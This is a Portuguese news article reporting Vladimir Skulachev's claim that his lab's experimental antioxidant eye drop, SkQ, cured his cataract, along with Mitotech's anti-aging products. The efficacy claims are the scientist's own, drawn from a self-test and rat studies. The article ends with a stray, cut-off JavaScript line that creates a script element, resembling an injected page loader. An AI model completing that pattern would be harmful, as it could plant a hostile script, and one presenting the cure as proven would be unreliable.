O cientista russo Vladimir Skulatchev aplicou um colírio com agente antienvelhecimento desenvolvido em seu laboratório e afirmou que a droga experimental curou seu problema de catarata. “Eu estava quase cego, então decidi ser cobaia. Na época, já tínhamos tratado com sucesso cataratas em 500 ratos idosos”, diz.
Diversos oftalmologistas demonstraram interesse pelos resultados da experiência. E o laboratório de Skulatchev está trabalhando em um medicamento acessível que possa curar a maioria das doenças associadas com o envelhecimento. O cientista está estudando o processo de oxidação de mitocôndrias que, segundo sua teoria, impede que as células permaneçam saudáveis.
“Se desbloquearmos o mecanismo desse processo, as pessoas serão capazes de permanecer saudáveis até a velhice”, explica. Isso – continua ele – “não quer dizer imortalidade, mas a ideia é livrar a humanidade do humilhante estado de senilidade no fim da vida. Há exemplos disso na natureza, como algumas espécies de crocodilos, tartarugas e baleias que não envelhecem”.
Juntamente com seus filhos, o biólogo Maksim e o matemático Innokenti, Skulatchev desenvolveu um novo produto químico, apelidado SkQ, que fornece antioxidantes naturais e poderia retardar o envelhecimento. O medicamento, testado em animais, está sendo aprimorado para aplicação em seres humanos no laboratório Mitotech, fundado por Maksim, recebendo apoio de bilionários russos e da estatal de nanotecnologia Rosnano.
Em sua busca para desenvolver uma “pílula de imortalidade”, o laboratório produziu um soro rejuvenescedor vendido sob a marca Mitovan. A Mitotech também está preparando o lançamento de uma nova medicação para os olhos, o Visotimin Forte. “Aumentamos a dose do colírio para ampliar a eficiência da droga”, disse. “Assim, conseguiremos preservar a visão de uma pessoa na velhice”.
var d=document;var s=d.createElement(\’script\’);